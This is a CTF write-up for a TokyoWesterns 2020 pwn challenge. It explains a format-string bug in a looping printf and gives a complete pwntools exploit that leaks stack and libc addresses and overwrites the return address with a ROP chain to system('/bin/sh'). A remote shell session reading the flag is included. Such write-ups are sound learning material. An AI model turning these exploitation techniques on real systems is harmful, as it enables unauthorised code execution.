#  TokyoWesterns CTF 6th 2020
## nothing more to say 2020
> 111> > Enjoy!> > [`nothing`](nothing)  > [`nothing.c`](nothing.c)> > `nc pwn02.chal.ctf.westerns.tokyo 18247`
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _format-string_
## Summary
Basic format-string leak and exploit.
## Analysis
### Just run it
```Hello CTF Players!This is a warmup challenge for pwnable.Do you know about Format String Attack(FSA) and write the exploit code?Please pwn me!>```_Spoiler Alert!_
Well, if you know how to Google, you can solve this challenge a number of different ways.
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments```
No mitigations in place.  However, _we're not going to take advantage of any of this--not necessary._  
> Well, _I am_ going to use the _No PIE_ for a single ROP gadget.
### Source included
```c// gcc -fno-stack-protector -no-pie -z execstack#include <stdio.h>#include <stdlib.h>#include <unistd.h>
void init_proc() {    setbuf(stdout, NULL);    setbuf(stdin, NULL);    setbuf(stderr, NULL);}
void read_string(char* buf, size_t length) {    ssize_t n;    n = read(STDIN_FILENO, buf, length);    if (n == -1)        exit(1);    buf[n] = '\0';}
int main(void) {    char buf[0x100];    init_proc();    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");    while (1) {        printf("> ");        read_string(buf, 0x100);        if (buf[0] == 'q')            break;        printf(buf);    }    return 0;}```
`printf(buf)` is the vulnerability, and since looped, we can abuse it as many times as necessary.  We will however need to know the version of libc for the exploit I have in mind (to get a hint just: `strings nothing | grep GCC`):
```GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0```
Next, from within a Ubuntu 18.04 container, find the format-string offset and look at the stack:
```gef➤  b *main+101Breakpoint 1 at 0x4007bagef➤  runStarting program: /pwd/datajerk/twctf2020/nothing_more_to_say_2020/nothingHello CTF Players!This is a warmup challenge for pwnable.Do you know about Format String Attack(FSA) and write the exploit code?Please pwn me!> %6$p0xa70243625```
Above, set a break point to get the stack while in `main`, and also try `%n$p` where `n > 0` until the output (in little endian) hex matches the input.  In this case it's `6`, and that will be the offset.
The stack:
```0x00007fffffffe280│+0x0000: 0x0000000a70243625 ("%6$p\n"?  ← $rsp0x00007fffffffe288│+0x0008: 0x00000000000000000x00007fffffffe290│+0x0010: 0x00000000000000000x00007fffffffe298│+0x0018: 0x00007ffff7ffe710  →  0x00007ffff7ffa000  →  0x00010102464c457f0x00007fffffffe2a0│+0x0020: 0x00007ffff7b979e7  →  "__vdso_getcpu"0x00007fffffffe2a8│+0x0028: 0x00000000000000000x00007fffffffe2b0│+0x0030: 0x00007fffffffe2e0  →  0x00000000ffffffff0x00007fffffffe2b8│+0x0038: 0x00007fffffffe2f0  →  0x00007ffff7ffa268  →  0x000c001200000036 ("6"?)0x00007fffffffe2c0│+0x0040: 0x00007ffff7ffea98  →  0x00007ffff7ffe9c8  →  0x00007ffff7ffe738  →  0x00007ffff7ffe710  →  0x00007ffff7ffa000  →  0x00010102464c457f0x00007fffffffe2c8│+0x0048: 0x00000000000000000x00007fffffffe2d0│+0x0050: 0x00000000000000000x00007fffffffe2d8│+0x0058: 0x00007fffffffe300  →  0x00000000000000000x00007fffffffe2e0│+0x0060: 0x00000000ffffffff0x00007fffffffe2e8│+0x0068: 0x00000000000000000x00007fffffffe2f0│+0x0070: 0x00007ffff7ffa268  →  0x000c001200000036 ("6"?)0x00007fffffffe2f8│+0x0078: 0x00007ffff7ffe710  →  0x00007ffff7ffa000  →  0x00010102464c457f0x00007fffffffe300│+0x0080: 0x00000000000000000x00007fffffffe308│+0x0088: 0x00000000000000000x00007fffffffe310│+0x0090: 0x00000000000000000x00007fffffffe318│+0x0098: 0x00000000756e6547 ("Genu"?)0x00007fffffffe320│+0x00a0: 0x00000000000000090x00007fffffffe328│+0x00a8: 0x00007ffff7dd7660  →  <dl_main+0> push rbp0x00007fffffffe330│+0x00b0: 0x00007fffffffe398  →  0x00007fffffffe468  →  0x00007fffffffe6eb  →  "/pwd/datajerk/twctf2020/nothing_more_to_say_2020/n[...]"0x00007fffffffe338│+0x00b8: 0x0000000000f0b5ff0x00007fffffffe340│+0x00c0: 0x00000000000000010x00007fffffffe348│+0x00c8: 0x000000000040081d  →  <__libc_csu_init+77> add rbx, 0x10x00007fffffffe350│+0x00d0: 0x00007ffff7de59f0  →  <_dl_fini+0> push rbp0x00007fffffffe358│+0x00d8: 0x00000000000000000x00007fffffffe360│+0x00e0: 0x00000000004007d0  →  <__libc_csu_init+0> push r150x00007fffffffe368│+0x00e8: 0x00000000004005e0  →  <_start+0> xor ebp, ebp0x00007fffffffe370│+0x00f0: 0x00007fffffffe460  →  0x00000000000000010x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000004007d0  →  <__libc_csu_init+0> push r15	 ← $rbp0x00007fffffffe388│+0x0108: 0x00007ffff7a05b97  →  <__libc_start_main+231> mov edi, eax```
Starting from the top (offset 6) looking down there are two values that if leaked will give us the stack address of the return address (offset 36 (`+0x00f0`)) and the version and location of libc (offset 39 (`+0x0108`)).
With this in hand it will be easy to write out a ROP chain to call `system` on exit.
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./nothing')context.log_level = 'INFO'
if not args.REMOTE:    context.log_file = 'local.log'    libc = binary.libc    p = process(binary.path)else:    context.log_file = 'remote.log'    libc_index = 5    p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)```
Boilerplate pwntool, however, `libc_index` is not _boilerplate_.  More on this below.
### Leak
```pythonp.sendlineafter('> ','%36$p,%39$p')_ = p.recvline().strip().split(b',')
stack_ret_addr = int(_[0],16) - 216log.info('stack_ret_addr: ' + hex(stack_ret_addr))
__libc_start_main_231 = int(_[1],16)log.info('__libc_start_main_231: ' + hex(__libc_start_main_231))log.info('__libc_start_main: ' + hex(__libc_start_main_231 - 231))```
Requesting parameters 36 and 39 provide the necessary bits to compute the location of the return address and libc (if we know the libc version).
The `216` above was hand computed from the stack diagram above, specifcally this section:
```0x00007fffffffe370│+0x00f0: 0x00007fffffffe460  →  0x00000000000000010x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000004007d0  →  <__libc_csu_init+0> push r15	 ← $rbp```
The return address location is `0x00007fffffffe388` (just under (or above depending on how you look at it) `$rbp`), and the leak from offset 36 (`+0x00f0`) is `0x00007fffffffe460`.  `0x00007fffffffe460 - 0x00007fffffffe388 = 216`.
### Find and download libc
```pythonif not 'libc' in locals():    try:        import requests        r = requests.post('https://libc.rip/api/find', json = {'symbols':{'__libc_start_main':hex(__libc_start_main_231 - 231)[-3:]}})        libc_url = r.json()[libc_index]['download_url']        libc_file = libc_url.split('/')[-1:][0]        if not os.path.exists(libc_file): log.info('getting: ' + libc_url)            r = requests.get(libc_url, allow_redirects=True)            open(libc_file,'wb').write(r.content)    except:        log.critical('get libc yourself!')        sys.exit(0)    libc = ELF(libc_file)
libc.address = __libc_start_main_231 - libc.sym.__libc_start_main - 231log.info('libc.address: ' + hex(libc.address))```
> This is something new I'm experimenting with.
This code will search the libc-database and return an array of matches; through trial and error the 5th (see `libc_index = 5` above) is the libc that works with this challenge.
> This was actually unnecessary since a fully updated Ubuntu 18.04 container has the correct version installed.  But, I wanted to test this method.
### Get a shell, get the flag
```pythonoffset = 6rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payloads = [pop_rdi + 1,pop_rdi,libc.search(b'/bin/sh').__next__(),libc.sym.system]for i in range(len(payloads)):    payload=fmtstr_payload(offset,{stack_ret_addr+8*i:payloads[i]})    p.sendline(payload)    null = payload.find(b'\x00')    p.recvuntil(payload[null-2:null])
p.sendlineafter('> ','q')p.interactive()```
The `payloads` array is standard CTF fare.  The for loop uses format-string exploits to write out the payload starting from the return address in the stack.  From there is just `q` to exit `main` and run our exploit.
> The following lines capture all the format-string exploit garbage for pretty screen grabs (for write-ups):> > ```python> null = payload.find(b'\x00')> p.recvuntil(payload[null-2:null])> ``` 
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/twctf2020/nothing_more_to_say_2020/nothing'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segments[+] Opening connection to pwn02.chal.ctf.westerns.tokyo on port 18247: Done[*] stack_ret_addr: 0x7ffc771b63b8[*] __libc_start_main_231: 0x7fcde34edb97[*] __libc_start_main: 0x7fcde34edab0[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1.2_amd64.so[*] '/pwd/datajerk/twctf2020/nothing_more_to_say_2020/libc6_2.27-3ubuntu1.2_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] libc.address: 0x7fcde34cc000[*] Loaded 14 cached gadgets for './nothing'[*] Switching to interactive mode$ iduid=11901 gid=11000(nothing) groups=11000(nothing)$ ls -ltotal 16-rw-r----- 1 root nothing   52 Sep 18 15:53 flag.txt-rwxr-x--- 1 root nothing 8632 Sep 18 15:53 nothing$ cat flag.txtTWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}```